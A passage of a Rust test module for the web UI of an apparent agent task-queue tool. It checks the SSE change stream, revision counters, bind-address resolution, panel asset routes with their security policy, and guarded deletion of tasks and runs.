20303        // the focus) rather than fail loudly, so pin every key against the
20304        // section list it has to resolve against.
20305        assert!(
20306            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20307            "every queue tile built through sectionTile() must route its click through \
20308             openQueueSectionFocus"
20309        );
20310        for key in ["upnext", "running", "done", "held", "blocked"] {
20311            assert!(
20312                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20313                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20314            );
20315        }
20316        // Queued and Failed intentionally both resolve to "upnext" - the
20317        // same section queueSection() itself files them under - rather than
20318        // getting a section each.
20319        for line in [
20320            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20321            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20322            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20323            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20324            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20325            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20326        ] {
20327            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20328        }
20329    }
20330
20331    #[test]
20332    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20333        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20334        // above for the section-focus channel a stats queue tile drives:
20335        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20336        // through the stale-search-clear recursion into renderQueue(), and
20337        // clear it only once revealQueueSection() is actually about to run -
20338        // the same trap that once silently dropped a task-focus jump.
20339        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20340        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20341        assert!(APP_JS.contains("function revealQueueSection(details)"));
20342        assert!(
20343            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20344            "renderQueue() must consume both focus channels on every pass"
20345        );
20346        assert!(
20347            APP_JS.contains(
20348                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20349            ),
20350            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20351             the recursive renderQueue() call has nothing left to reveal"
20352        );
20353        assert!(
20354            APP_JS.contains(
20355                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20356            ),
20357            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20358        );
20359        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20360        // task-focus form of the hash - a plain `#queue` navigation only
20361        // flips which view is visible. openQueueSectionFocus() must
20362        // therefore call renderQueue() itself, and applyRoute() too so the
20363        // view flips even when the hash doesn't change (the Backlog may
20364        // already be open when a tile is tapped, firing no hashchange
20365        // event at all).
20366        assert!(
20367            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20368            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20369             hashchange event that may never fire"
20370        );
20371    }
20372
20373    #[tokio::test]
20374    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20375        let f = Fixture::start().await;
20376
20377        let mut socket = tokio::net::TcpStream::connect(f.addr)
20378            .await
20379            .expect("connect");
20380        socket
20381            .write_all(
20382                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20383            )
20384            .await
20385            .expect("write request");
20386
20387        // Read until the first event arrives rather than to end of stream: the
20388        // stream is endless by design, which is the point of the route.
20389        let mut seen = String::new();
20390        let mut buf = [0u8; 1024];
20391        while !seen.contains("event: change") {
20392            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20393                .await
20394                .expect("the stream must speak within five seconds")
20395                .expect("read");
20396            assert!(read > 0, "the server closed the change stream: {seen}");
20397            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20398        }
20399
20400        assert!(
20401            seen.to_lowercase()
20402                .contains("content-type: text/event-stream"),
20403            "the browser only reconnects automatically for a real SSE stream: {seen}"
20404        );
20405        let data = seen
20406            .lines()
20407            .find_map(|l| l.strip_prefix("data:"))
20408            .expect("a data line");
20409        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20410        assert!(
20411            payload["queue_rev"].is_u64()
20412                && payload["runs_rev"].is_u64()
20413                && payload["questions_rev"].is_u64()
20414                && payload["talks_rev"].is_u64()
20415                && payload["notifications_rev"].is_u64()
20416                && payload["loop_rev"].is_u64(),
20417            "the client needs one revision per store to know what to refetch, \
20418             and `talks_rev` is the only notification a standing talk gets - a \
20419             phone whose radio slept through a turn learns about it here, as \
20420             does one whose operator started the loop from another device: \
20421             {payload}"
20422        );
20423
20424        // The front end re-polls health on a timer and on wake, and takes the
20425        // revisions from that answer whenever the stream is not up. So health
20426        // has to carry every key the stream carries: a phone on a link that
20427        // will not hold an SSE connection is exactly the phone that must still
20428        // notice a question, and a missing key there is not a 500 but a UI
20429        // that quietly stops updating.
20430        let health = f.get("/api/health").await.json();
20431        for key in [
20432            "queue_rev",
20433            "runs_rev",
20434            "questions_rev",
20435            "talks_rev",
20436            "notifications_rev",
20437            "loop_rev",
20438        ] {
20439            assert!(
20440                health[key].is_u64(),
20441                "health is the change stream's fallback and is missing `{key}`: {health}"
20442            );
20443        }
20444    }
20445
20446    #[tokio::test]
20447    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20448        let f = Fixture::start().await;
20449        let before = f.get("/api/health").await.json()["talks_rev"]
20450            .as_u64()
20451            .expect("talks_rev");
20452
20453        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20454        std::thread::sleep(Duration::from_millis(10));
20455        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20456        on_disk.turns.push(crate::talk::Turn {
20457            sender: None,
20458            breaks: Some(Vec::new()),
20459            messages: Vec::new(),
20460            posted_by: None,
20461            who: crate::talk::Who::Operator,
20462            body: "a new turn".to_owned(),
20463            at: Timestamp::now(),
20464            attachments: Vec::new(),
20465            usage: None,
20466        });
20467        f.talks().put(&mut on_disk).expect("record a turn");
20468
20469        let after = tokio::time::timeout(Duration::from_secs(5), async {
20470            loop {
20471                let revision = f.get("/api/health").await.json()["talks_rev"]
20472                    .as_u64()
20473                    .unwrap();
20474                if revision != before {
20475                    break revision;
20476                }
20477                tokio::time::sleep(Duration::from_millis(50)).await;
20478            }
20479        })
20480        .await
20481        .expect("shared monitor observes external turn");
20482        assert_ne!(
20483            before, after,
20484            "a phone must be able to notice a talk's reply without polling every store"
20485        );
20486    }
20487
20488    #[test]
20489    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20490        // The CLI shows the default in `--help` and parses whatever comes
20491        // back, so the two directions have to agree or `--bind auto` breaks
20492        // the moment someone copies the help text.
20493        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20494            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20495        }
20496        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20497        assert!("everywhere".parse::<Bind>().is_err());
20498    }
20499
20500    #[test]
20501    fn an_explicit_bind_address_is_taken_verbatim() {
20502        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20503
20504        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20505
20506        assert_eq!(addr, asked);
20507        assert!(
20508            warning.is_none(),
20509            "an operator who named an address gets no lecture"
20510        );
20511    }
20512
20513    #[test]
20514    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20515        let (addr, warning) = resolve_bind(&Bind::Auto);
20516
20517        // This has to hold on a CI runner with no `tailscale` and on a dev box
20518        // with one, so the invariant asserted is the one shared by both
20519        // outcomes: the address is either a real tailnet address offered
20520        // without comment, or loopback with an explanation. What must never
20521        // happen is a silent fallback - an operator told "listening on
20522        // 127.0.0.1" with no reason would go looking for a firewall.
20523        match addr {
20524            IpAddr::V4(ip) if is_tailnet(&ip) => {
20525                assert!(warning.is_none(), "a tailnet address needs no warning");
20526            }
20527            other => {
20528                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20529                let warning = warning.expect("a fallback has to explain itself");
20530                assert!(
20531                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20532                    "the warning says what happened and what it costs: {warning}"
20533                );
20534            }
20535        }
20536    }
20537
20538    #[test]
20539    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20540        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20541        // boundary cases are what stop us binding to some other tool's idea of
20542        // an address.
20543        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20544        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20545        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20546        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20547        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20548    }
20549
20550    #[test]
20551    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20552        let ids = vec![
20553            "20260902-140501-aaaa".to_owned(),
20554            "20260902-140502-aabb".to_owned(),
20555        ];
20556
20557        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20558        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20559        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20560
20561        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20562        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20563        assert_eq!(short, "20260902-140502-aabb");
20564    }
20565    #[tokio::test]
20566    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20567        // The prompt tells agents to reference attachments by bare filename.
20568        // A document served at `.../panel` resolves `shot.png` against its own
20569        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20570        // panel written exactly as instructed showed broken images. Caught by
20571        // looking at a real one in a browser, not by reading the code.
20572        let fx = Fixture::start().await;
20573        let id = panel(
20574            &fx,
20575            "<img src=\"shot.png\">",
20576            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20577        );
20578
20579        // The frame's own URL ends in a filename, so its siblings are reachable.
20580        let doc = fx
20581            .get(&format!("/api/questions/{id}/panel/index.html"))
20582            .await;
20583        assert_eq!(doc.status, 200, "{}", doc.body);
20584        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20585
20586        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20587        assert_eq!(sibling.status, 200, "{}", sibling.body);
20588        assert_eq!(sibling.header("content-type"), Some("image/png"));
20589        assert_eq!(
20590            sibling.header("content-security-policy"),
20591            Some(PANEL_CSP),
20592            "the sibling route must carry the same policy as the asset route"
20593        );
20594
20595        // The original spelling keeps working: HEAD on it is how the front end
20596        // decides whether to mount a frame at all.
20597        assert_eq!(
20598            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20599            200
20600        );
20601    }
20602
20603    #[test]
20604    fn delta_stamps_cover_add_update_remove_and_noop() {
20605        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20606        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20607        let delta = diff_stamps(&before, &after, 42);
20608        assert_eq!(delta.base, 42);
20609        assert_eq!(delta.changed, ["b", "c"]);
20610        assert_eq!(delta.removed, ["a"]);
20611        let same = diff_stamps(&after, &after, 43);
20612        assert!(same.changed.is_empty() && same.removed.is_empty());
20613        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20614        let nanos: Stamps = [("b".into(), (2, 20))].into();
20615        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20616        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20617        assert_eq!(stamps_revision(&Stamps::new()), 0);
20618    }
20619
20620    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20621        std::fs::create_dir_all(home.join("runs")).unwrap();
20622        Arc::new(Ui::new(
20623            Queue::at(home.join("queue")),
20624            Questions::at(home.join("questions")),
20625            Talks::at(home.join("talks")),
20626            home.join("runs"),
20627            home.to_owned(),
20628            PathBuf::from("/repo/magi"),
20629        ))
20630    }
20631
20632    #[test]
20633    fn monitor_scan_isolates_store_failures_and_recovers() {
20634        let home = TempDir::new().unwrap();
20635        let ui = delta_test_ui(home.path());
20636        std::fs::create_dir_all(ui.questions.root()).unwrap();
20637        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20638        let before = monitor_scan(&ui, None);
20639        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20640        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20641        std::fs::create_dir_all(ui.talks.root()).unwrap();
20642        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20643        let during = monitor_scan(&ui, Some(before.clone()));
20644        assert_eq!(during.0.2, before.0.2);
20645        assert_ne!(during.0.3, before.0.3);
20646        assert!(during.1[2].contains_key("new"));
20647        std::fs::remove_file(ui.questions.root()).unwrap();
20648        let after = monitor_scan(&ui, Some(during));
20649        assert_eq!(after.0.2, 0);
20650        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20651        // A failed first scan also permits healthy stores to publish.
20652        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20653        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20654    }
20655
20656    #[tokio::test]
20657    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20658        let home = TempDir::new().unwrap();
20659        let ui = delta_test_ui(home.path());
20660        let mut task = Task::new(
20661            "stream task".into(),
20662            "text".into(),
20663            PathBuf::from("/repo"),
20664            Source::Human,
20665        );
20666        ui.queue.put(&mut task).unwrap();
20667        let response = events(State(ui.clone())).await.into_response();
20668        let mut stream = response.into_body().into_data_stream();
20669        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20670            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20671                .await
20672                .unwrap()
20673                .unwrap()
20674                .unwrap();
20675            let text = String::from_utf8(chunk.to_vec()).unwrap();
20676            let data = text
20677                .lines()
20678                .find_map(|line| {
20679                    line.strip_prefix("data: ")
20680                        .or_else(|| line.strip_prefix("data:"))
20681                })
20682                .unwrap();
20683            serde_json::from_str(data).unwrap()
20684        }
20685        let initial = change(&mut stream).await;
20686        assert!(initial.get("queue_delta").is_none());
20687        task.instruction.push_str(" changed");
20688        ui.queue.put(&mut task).unwrap();
20689        let updated = change(&mut stream).await;
20690        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20691        assert_eq!(
20692            updated["queue_delta"]["changed"],
20693            serde_json::json!([task.id])
20694        );
20695        assert_eq!(
20696            updated["queue_rev"].as_u64(),
20697            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20698        );
20699        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20700        let removed = change(&mut stream).await;
20701        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20702        assert_eq!(
20703            removed["queue_delta"]["removed"],
20704            serde_json::json!([task.id])
20705        );
20706    }
20707
20708    #[tokio::test]
20709    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20710        let home = TempDir::new().unwrap();
20711        let ui = delta_test_ui(home.path());
20712        let queue = ui.queue.clone();
20713        let query = |ids: Option<&str>| {
20714            Query(ListQuery {
20715                limit: Some(2),
20716                ids: ids.map(str::to_owned),
20717            })
20718        };
20719        let mut root = Task::new(
20720            "root".into(),
20721            "instruction".into(),
20722            PathBuf::from("/repo"),
20723            Source::Human,
20724        );
20725        queue.put(&mut root).unwrap();
20726        let mut blocked = Task::new(
20727            "blocked".into(),
20728            "instruction".into(),
20729            PathBuf::from("/repo"),
20730            Source::Human,
20731        );
20732        blocked.block(vec![root.id.clone()], None);
20733        queue.put(&mut blocked).unwrap();
20734        let whole =
20735            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20736                .unwrap();
20737        let subset = serde_json::to_value(
20738            queue_list(State(ui.clone()), query(Some(&root.id)))
20739                .await
20740                .unwrap()
20741                .0,
20742        )
20743        .unwrap();
20744        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20745        let blockers = serde_json::to_value(
20746            queue_list(State(ui.clone()), query(Some("")))
20747                .await
20748                .unwrap()
20749                .0,
20750        )
20751        .unwrap();
20752        assert_eq!(blockers.as_array().unwrap().len(), 1);
20753        assert_eq!(blockers[0]["id"], blocked.id);
20754        assert_eq!(
20755            blockers[0]["waits_on"],
20756            whole
20757                .as_array()
20758                .unwrap()
20759                .iter()
20760                .find(|row| row["id"] == blocked.id)
20761                .unwrap()["waits_on"]
20762        );
20763
20764        for id in [
20765            "20260902-140501-aaaa",
20766            "20260902-140502-bbbb",
20767            "20260902-140503-cccc",
20768        ] {
20769            write_run(&ui.runs, id, RunStatus::Merged);
20770        }
20771        let old = serde_json::to_value(
20772            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20773                .await
20774                .unwrap()
20775                .0,
20776        )
20777        .unwrap();
20778        assert!(
20779            old.as_array().unwrap().is_empty(),
20780            "older updates must not enter the window"
20781        );
20782        let newest = serde_json::to_value(
20783            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20784                .await
20785                .unwrap()
20786                .0,
20787        )
20788        .unwrap();
20789        assert_eq!(newest.as_array().unwrap().len(), 1);
20790        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20791
20792        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20793        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20794        let talks = serde_json::to_value(
20795            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20796                .await
20797                .unwrap()
20798                .0,
20799        )
20800        .unwrap();
20801        assert_eq!(talks.as_array().unwrap().len(), 1);
20802        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20803        assert_eq!(
20804            serde_json::to_value(
20805                talks_list(State(ui.clone()), query(Some("")))
20806                    .await
20807                    .unwrap()
20808                    .0
20809            )
20810            .unwrap(),
20811            serde_json::json!([])
20812        );
20813    }
20814
20815    #[tokio::test]
20816    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20817    async fn delta_payload_benchmark() {
20818        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20819        let ui = delta_test_ui(&home);
20820        let query = |ids: Option<String>| {
20821            Query(ListQuery {
20822                limit: Some(50),
20823                ids,
20824            })
20825        };
20826        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20827        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20828        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20829        let queue_id = queue
20830            .iter()
20831            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20832            .unwrap_or(&queue[0])
20833            .task
20834            .id
20835            .clone();
20836        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20837            .await
20838            .unwrap()
20839            .0;
20840        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20841            .await
20842            .unwrap()
20843            .0;
20844        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20845            .await
20846            .unwrap()
20847            .0;
20848        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20849        eprintln!(
20850            "DELTA_PAYLOAD {}",
20851            serde_json::json!({
20852                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20853                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20854                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20855                "counts": [queue.len(), runs.len(), talks.len()],
20856                "blocked": queue_delta.len() - 1,
20857            })
20858        );
20859    }
20860
20861    #[test]
20862    fn runs_revision_moves_when_deleting_an_older_run() {
20863        let temp = TempDir::new().expect("tempdir");
20864        let runs = temp.path().join("runs");
20865        std::fs::create_dir_all(&runs).expect("create runs dir");
20866
20867        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20868
20869        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20870        std::thread::sleep(Duration::from_millis(10));
20871        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20872
20873        let rev_before = runs_revision(&runs);
20874        assert!(rev_before > 0);
20875
20876        let old_dir = runs.join("20260901-100000-old1");
20877        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20878
20879        let rev_after = runs_revision(&runs);
20880        assert_ne!(
20881            rev_before, rev_after,
20882            "deleting an older run must change the revision so other clients see the deletion"
20883        );
20884    }
20885
20886    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20887    /// process-global home entirely — `RunState::save` writes through
20888    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20889    /// (see `tests::home_lock` in the integration suite for why).
20890    fn write_state(runs: &FsPath, state: &RunState) {
20891        let dir = runs.join(&state.id);
20892        std::fs::create_dir_all(&dir).expect("run dir");
20893        std::fs::write(
20894            dir.join("run.json"),
20895            serde_json::to_string_pretty(state).expect("serialize run"),
20896        )
20897        .expect("write run.json");
20898    }
20899
20900    /// A seat starting or finishing is a write to `run.json` like any other,
20901    /// so it moves the same revision the change stream already watches —
20902    /// nothing new for `/api/events` to learn, but the property this feature
20903    /// depends on to reach the phone without a poll.
20904    #[test]
20905    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20906        let temp = TempDir::new().expect("tempdir");
20907        let runs = temp.path().join("runs");
20908        std::fs::create_dir_all(&runs).expect("create runs dir");
20909        let mut state = RunState::new(
20910            PathBuf::from("/repo/magi"),
20911            "main".to_owned(),
20912            "0123456789abcdef".to_owned(),
20913            "task".to_owned(),
20914            Config::default(),
20915        );
20916        state.id = "20260902-100000-c0de".to_owned();
20917        write_state(&runs, &state);
20918
20919        let rev_idle = runs_revision(&runs);
20920        std::thread::sleep(Duration::from_millis(10));
20921        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20922        write_state(&runs, &state);
20923        let rev_started = runs_revision(&runs);
20924        assert_ne!(
20925            rev_idle, rev_started,
20926            "a seat starting must move the revision"
20927        );
20928
20929        std::thread::sleep(Duration::from_millis(10));
20930        state.seat_finished("judge-1");
20931        write_state(&runs, &state);
20932        let rev_finished = runs_revision(&runs);
20933        assert_ne!(
20934            rev_started, rev_finished,
20935            "and clearing it again must move the revision a second time"
20936        );
20937    }
20938
20939    #[tokio::test]
20940    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20941        // `TaskView` flattens `Task`, so this is really asserting that
20942        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20943        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20944        // never touched web.rs, so nothing here caught it if it had.
20945        let fx = Fixture::start().await;
20946        let q = fx.queue();
20947
20948        let mut t = Task::new(
20949            "Task".to_owned(),
20950            "Instruction".to_owned(),
20951            PathBuf::from("/repo"),
20952            Source::Human,
20953        );
20954        t.block(
20955            vec!["20260101-000000-dead".to_owned()],
20956            Some("waiting on Task 1".to_owned()),
20957        );
20958        t.answers.push(crate::queue::AnsweredQuestion {
20959            question: "Which backend?".to_owned(),
20960            answer: "SQLite".to_owned(),
20961        });
20962        q.put(&mut t).expect("put t");
20963
20964        let res = fx.get("/api/queue").await;
20965        assert_eq!(res.status, 200);
20966        let list = res.json();
20967        let view = list
20968            .as_array()
20969            .expect("array")
20970            .iter()
20971            .find(|v| v["id"] == t.id)
20972            .expect("task in list");
20973        assert_eq!(view["status_str"], "blocked");
20974        assert_eq!(
20975            view["blocked_by"],
20976            serde_json::json!(["20260101-000000-dead"])
20977        );
20978        assert_eq!(view["block_reason"], "waiting on Task 1");
20979        assert_eq!(view["answers"][0]["question"], "Which backend?");
20980        assert_eq!(view["answers"][0]["answer"], "SQLite");
20981
20982        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20983        // but never `answers` - that is a settled decision, not state
20984        // describing the current block, so it survives.
20985        let res = fx
20986            .post(&format!("/api/queue/{}/hold", t.short()), None)
20987            .await;
20988        assert_eq!(res.status, 200);
20989        let held = res.json();
20990        assert_eq!(held["status_str"], "held");
20991        assert_eq!(held["blocked_by"], serde_json::json!([]));
20992        assert!(held["block_reason"].is_null());
20993        assert_eq!(held["answers"][0]["answer"], "SQLite");
20994    }
20995
20996    #[tokio::test]
20997    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20998        let fx = Fixture::start().await;
20999        let q = fx.queue();
21000        let mk = |title: &str| {
21001            Task::new(
21002                title.to_owned(),
21003                "Instruction".to_owned(),
21004                PathBuf::from("/repo"),
21005                Source::Human,
21006            )
21007        };
21008        let mut root = mk("root");
21009        root.hold_manual(Some("waiting".to_owned()));
21010        q.put(&mut root).unwrap();
21011        let mut mid = mk("mid");
21012        mid.block(vec![root.id.clone()], None);
21013        q.put(&mut mid).unwrap();
21014        let mut leaf = mk("leaf");
21015        leaf.block(vec![mid.id.clone()], None);
21016        q.put(&mut leaf).unwrap();
21017
21018        let list = fx.get("/api/queue").await.json();
21019        let find = |id: &str| {
21020            list.as_array()
21021                .unwrap()
21022                .iter()
21023                .find(|v| v["id"] == id)
21024                .unwrap()
21025                .clone()
21026        };
21027        let leaf_view = find(&leaf.id);
21028        assert_eq!(
21029            leaf_view["waits_on"],
21030            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21031        );
21032        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21033        assert_eq!(
21034            find(&mid.id)["waits_on"],
21035            serde_json::json!([format!("{} (held)", root.short())])
21036        );
21037        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21038    }
21039
21040    #[tokio::test]
21041    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21042        let fx = Fixture::start().await;
21043        let q = fx.queue();
21044
21045        // 1. A queued task with runs attached can be deleted.
21046        let mut t1 = Task::new(
21047            "Task 1".to_owned(),
21048            "Instruction 1".to_owned(),
21049            PathBuf::from("/repo"),
21050            Source::Human,
21051        );
21052        let run_id = "20260901-000000-r111";
21053        t1.runs.push(run_id.to_owned());
21054        write_run(&fx.runs(), run_id, RunStatus::Merged);
21055        q.put(&mut t1).expect("put t1");
21056
21057        // Delete by short id
21058        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21059        assert_eq!(res.status, 204);
21060        assert!(res.body.is_empty(), "204 No Content has no body");
21061        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21062        assert!(
21063            fx.runs().join(run_id).exists(),
21064            "run directory must not be deleted when its task is deleted"
21065        );
21066
21067        // 2. A task a live daemon is running is refused with 409.
21068        let mut t2 = Task::new(
21069            "Task 2".to_owned(),
21070            "Instruction 2".to_owned(),
21071            PathBuf::from("/repo"),
21072            Source::Human,
21073        );
21074        t2.status = TaskStatus::Running;
21075        q.put(&mut t2).expect("put t2");
21076        let mut beat = crate::daemon::Status::new();
21077        beat.current = vec![crate::daemon::Current {
21078            task: t2.id.clone(),
21079            run: "20260901-000000-r222".to_owned(),
21080        }];
21081        beat.updated_at = jiff::Timestamp::now();
21082        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21083            .expect("publish a heartbeat");
21084        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21085        assert_eq!(res.status, 409);
21086        assert!(
21087            res.json()["error"]
21088                .as_str()
21089                .unwrap()
21090                .contains("live daemon")
21091        );
21092        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21093
21094        // 3. The same `running` status and an orphaned lock, with no daemon
21095        // behind either, is a leftover and deletable. Before this the phone
21096        // refused it for good: the status never changes on its own and
21097        // nothing drops a lock whose process is gone.
21098        // The daemon is killed: the file stays, the heartbeat stops.
21099        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21100        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21101            .expect("leave a stale heartbeat");
21102        let mut t3 = Task::new(
21103            "Task 3".to_owned(),
21104            "Instruction 3".to_owned(),
21105            PathBuf::from("/repo"),
21106            Source::Human,
21107        );
21108        t3.status = TaskStatus::Running;
21109        q.put(&mut t3).expect("put t3");
21110        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21111        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21112        assert_eq!(res.status, 204);
21113        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21114        assert!(
21115            q.claim(&t3.id).is_ok(),
21116            "the stale lock went with it, so the id is claimable again"
21117        );
21118
21119        // 4. Missing id returns 404
21120        let res = fx.delete("/api/queue/nonexistent").await;
21121        assert_eq!(res.status, 404);
21122    }
21123
21124    #[tokio::test]
21125    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21126        let fx = Fixture::start().await;
21127        let runs = fx.runs();
21128
21129        // 1. Finished and folded run can be deleted along with artifacts
21130        let run_id = "20260901-000000-fold";
21131        let mut state = RunState::new(
21132            PathBuf::from("/repo"),
21133            "main".to_owned(),
21134            "abc".to_owned(),
21135            "instruction".to_owned(),
21136            Config::default(),
21137        );
21138        state.id = run_id.to_owned();
21139        state.status = RunStatus::Merged;
21140        state.candidates.push(crate::run::Candidate {
21141            index: 0,
21142            label: 'A',
21143            agent: "a".to_owned(),
21144            branch: "b".to_owned(),
